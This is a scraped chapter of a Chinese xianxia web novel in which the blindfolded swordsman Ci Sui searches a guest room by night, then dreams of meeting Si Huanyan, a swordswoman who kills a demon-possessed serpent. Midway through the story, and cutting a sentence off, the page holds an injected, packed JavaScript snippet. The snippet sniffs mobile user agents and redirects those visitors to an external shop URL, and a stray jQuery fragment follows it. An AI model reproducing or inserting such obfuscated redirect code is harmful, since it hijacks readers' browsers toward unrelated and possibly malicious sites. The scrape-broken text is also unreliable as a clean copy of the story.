文趣网 > 其他小说 > 剑修不想再卷啦! > 10. 初见
    辞岁端坐在上厢房的胡桃木椅子上,啜饮着龙井茶。

    他有很长时间没有享受过这么好的待遇了。

    这不是千机楼对修士的待遇,辞岁十分清楚这一点,当然,这更不可能是苏箐看在他面子上提供的福利。

    如果是看在他的面子上,他们几个在此地过不了夜,就被赶走了。

    辞岁摩挲着茶杯边缘,苏箐为何要这么做?是想试探许老?

    如此想着,辞岁起身出了房间,他得去看看,他不能让苏箐打草惊蛇。

    她根本不知道许多多的出现意味着什么。

    古色古香的走廊上,蒙眼少年缓步走过,没有双眼,他便靠耳朵听,用心感受气息的变化。

    片刻,辞岁停在了一间厢房前,他微微皱眉,有些不对劲。

    这不是许老的房间,这是那个名为言欢的女子的房间。

    但他感受到了苏箐的气息,很淡,应该已经走了。

    这又是怎么回事?苏箐究竟想干什么?

    辞岁想不明白,不过倒也不觉得惊讶,来路不明的人总是会给人创造惊喜,这是他外出游历这么年的经验。

    想了想,辞岁的手抚上门扉,下一秒,轻微的“咔哒”声响起,门开了。

    他丝毫没有深更半夜闯人房间的心虚感,辞岁依旧慢悠悠地跨过门槛,像进自己房间一样自然。

    房间里流动着一股奇特的香气,粘腻扑鼻,霸道地往鼻子里钻。

    辞岁继续在房间晃荡,像个蓝发幽灵在黑暗中漂移,他脚步控制的很好,一点声音都没有,只有布料细微的摩擦声。

    如果房间里的人这个时候醒来,一准儿被吓得重新睡过去。

    辞岁又“飘”到司欢颜床头,香味更浓了些,他有些嫌弃地掩住口鼻,又快速离开了。

    “叮铃。”也许是辞岁的衣摆触碰到了什么,一阵细微的声响在黑暗中荡开,而又隐于幽深。

    辞岁脚步一顿,他立在原地,像是被吓到了。

    半晌,他回过神,他该离开了,毕竟整个房间,除了异香,没有其它异常。

    辞岁抿了抿唇,他觉得有些不对劲,但却说不上来,最终他没有继续逗留,离开房间将门关好,好像一切都没有发生过。

    他尽力了,既然什么都没发现,就说明现在不是解决麻烦、做出行动的好时候。

    辞岁有个好心态,既然现在不是好时候,那就先睡觉,等待麻烦来找他好了。

    只是那香气实在惹人厌,在鼻尖久久不散,扰他清静。

    自诞生以来,辞岁从不做梦。

    他是辞岁仙尊所创造出来的容器,容纳了仙尊的记忆,却无法诞生七情六欲。

    无欲则无梦。

    但今夜,他坠入了安眠的梦乡。

    此梦并非虚构,而是一段尘封的记忆,明珠蒙尘,一场飘渺的梦吹散尘埃,显露往日的光华。

    那年,被后世尊称为仙尊的辞岁,才十二岁。

    那年,他只是剑宗最最普通的外门弟子,资质并不亮眼,性子也沉闷,完全看不出日后的风采。

    那日,辞岁和师兄出门历练,说是历练,实则是游玩,师兄觉得辞岁年纪轻轻就这么沉闷,再不出去透透气,怕是要变成哑巴了。

    于是这位心大的师兄就拽着辞岁出了剑宗,去青凛宗拜访好友,顺便欣赏沿路风景。

    这一路上风平浪静,和谐美好,虽然辞岁仍然是闷葫芦样子,但这不妨碍师兄的好心情。

    不过,不出意外的话就要出意外了。

    临近青凛宗,妖物横空出世。

    迷雾猝不及防地涌现,眨眼就将二人包围,由于这里已经靠近青凛宗,辞岁的师兄根本没有料想到这种情形。

    他被打了个措手不及,还没反应过来就见一道黑影在迷雾中游窜。

    “师兄,凝神。”辞岁是第一个反应过来的,剑出鞘,寒芒点地。

    “为什么青凛宗脚下会有妖物出现?!”师兄忍不住惊叫一声,将剑着急忙慌拔出来。

    真的是妖吗?辞岁眼风一扫,心中沉重几分。

    “来了。”

    “叮!”

    几乎是辞岁出言提醒的瞬间,一条类似蛟蛇的妖物尾巴一扫,与辞岁的剑相接。

    剑光叮当闪烁,剑影交织凌乱,蛟蛇连续的攻击将辞岁逼退,这时师兄终于反应过来,主动上前招架。

    “呼……”师兄喘息一口,盯着蛟蛇惊疑不定,“这妖物……我有这么厉害吗?”

    只见那蛟蛇游走在白雾之中,身上的伤口肉眼可见,血洞洞的伤痕横亘其上,可偏偏不见鲜血,只有腐败溃烂的痕迹。

    辞岁没有回答师兄自恋的问题,他冷静地盯着蛟蛇,在他眼中,映着不一样的景象。

    黑色的雾气缠绕在蛟蛇身上,填补住所有伤口,还有一部分化作角和爪,成为蛟蛇的一部分。

    它在白雾间腾挪,隐隐有蛟龙之资。

    这已经不是简单的妖了,辞岁确定,这是被“魔”控制的妖。

    “魔气”,辞岁是这么称呼这只能由自己看见的物质的。

    它潜藏于世间,不为人所知,不为人所感。

    除了辞岁,他天生就能看见。

    “轰!”蛟蛇一记缠绕甩尾,将辞岁的师兄连人带剑轰到树上。

    树干应声折断,鲜血自师兄口中喷洒,长剑无力地坠落在地,烟尘弥漫,生死不明。

    辞岁没有惊慌,没有回头,他提剑,沉默地与蛟蛇对峙。

    他能看见,但不代表他能消灭。

    一直以来都是这样,上天赐予了他一双能看见邪物的眼睛,却没有给他斩杀邪物的手。

    以至于留给他的只有无尽的痛苦、误解与无措,十二岁的辞岁,唯有封闭自己,才能让自己不滑向麻木与疯狂。

    直到——

    “躲开!”一声少女的呵斥炸响,随之而来的是侵入肌肤的寒气。

    点点冰晶随着白雾自辞岁身后吹来,一道轻盈的身影如飞燕,从天而降,跃至辞岁身前。

    黑发飞扬,衣袍鼓动,长长的蓝色发带随风飘舞,一双黑眸恍若容纳繁星,让人不由失神。

    剑光闪烁,剑影如虹,少女与蛟蛇缠斗,身影在白雾中若隐若现,出招快的看不清。

    好惊人的寒气,吸入鼻腔的空气都因为她的到来变得寒冷。

    辞岁回过神,他想提醒对方那条蛟蛇并非普通妖物,可话到嘴边又说不出口。

    没有人会相信他,辞岁想,就像过往无数次那样,所有人只会觉得这是他在恶作剧,是恶毒的诅咒,是不祥的象征……

    “叮!”清脆的剑鸣

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746154|209295||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    打破迷惘,辞岁下意识回头,看向声音的来源,眼睛一下瞪大,他见到此生难忘一幕——

    青衣少女用剑斩下蛟蛇的头颅,狰狞的蛇头滚落到少女脚下,冰晶冻结了断口,滴血未脏其衣袍。

    白雾因为蛟蛇的死亡而消散,而那被他认为无法斩灭的“魔气”也自蛇身溢出,顺着她的剑尖,沿着剑身越变越淡,直至无影无踪。

    黑气与白雾在她身边缠绕又堙灭,如仙似魔,恍若天人。

    天底下,唯有辞岁见证了这一幕。

    他说不清此刻的感受,有惊讶,有震撼,似乎还有一丝释怀和轻松,太多太多复杂的情绪缠绕在辞岁的心脏上,越勒越紧,越积越重,以至于他心如擂鼓,潸然泪下。

    原来,世上有人可以除魔,有人不必像他这么无能为力,他终于可以告诉自己,那些质疑是非议,那些揣测是造谣,他不是骗子,他只是束手无策。

    她,可以看见吗?

    司欢颜偏头看向辞岁。

    她也是倒霉,本来成功筑基,终于能出宗门转悠一下,结果刚出门没多久就遇上妖物。

    奇了怪了,青凛宗山脚下怎么会有妖物出没?

    司欢颜利落收剑,向辞岁走去。

    这少年看起来被吓得够呛,希望能从他口中问到些什么吧。

    不过,这妖物有这么吓人吗?怎么都吓哭了?

    司欢颜看着晶莹的泪珠自少年的脸庞滚落,一时间不知道该怎么办。

    十二岁的辞岁正是青葱少年,皮肤像白豆腐般水嫩,一双明眸含泪,真有几分我见犹怜的味道。

    “小道友,”司欢颜语气放缓,拿出哄孩子的温柔,“你还好吗?”

    “你能看见吗?”辞岁没有回答问题,而是盯着司欢颜看,眼神满溢着希冀。

    司欢颜一愣:“什么?”

    “黑气,”辞岁很执着,“你能看到吗?这妖物不一般。”

    辞岁的认真让司欢颜也不由正经起来,她当然没看到妖物身上有什么黑气,但她得承认,有一点这个少年说对了,这个妖物不一般。

    能在青凛宗脚底下单独出没,多么诡异。

    而且她刚刚斩杀它的时候也有奇特之处,有那么一剑,她明明落空,这妖物却像遭受重创般痉挛。

    “你怎么会看不到呢?”辞岁语气急切,“你刚刚明明一剑斩去它的角!”

    司欢颜皱眉看向妖物,这不是蛇妖吗?哪里来的角?

    见她不答,辞岁眼中的光亮暗淡下去,他表情重回冷漠,也许,是他想错了,这只是一次巧合。

    他想开口说些什么掩盖刚刚的失礼,却听司欢颜道:“你是能看见什么吗?”

    辞岁不语,片刻,他垂眸缓缓摇头。

    司欢颜有些无奈:“我不是在质疑你,我虽然看不见,但我相信你,小道友。”

    辞岁身躯一颤,猛得抬头看向她。

    在与妖物缠斗的过程中,司欢颜能感受到有什么东西凝滞在剑尖,若他不说,她可能真的会忽略。

    至于她为什么能感受到,很可能是因为她的剑骨。

    那这个能看见的少年,又是什么情况呢?总之,他肯定不一般。司欢颜觉得有些棘手。

    “小道友,你可有门派?”司欢颜思索着问。

    “剑宗,辞岁。”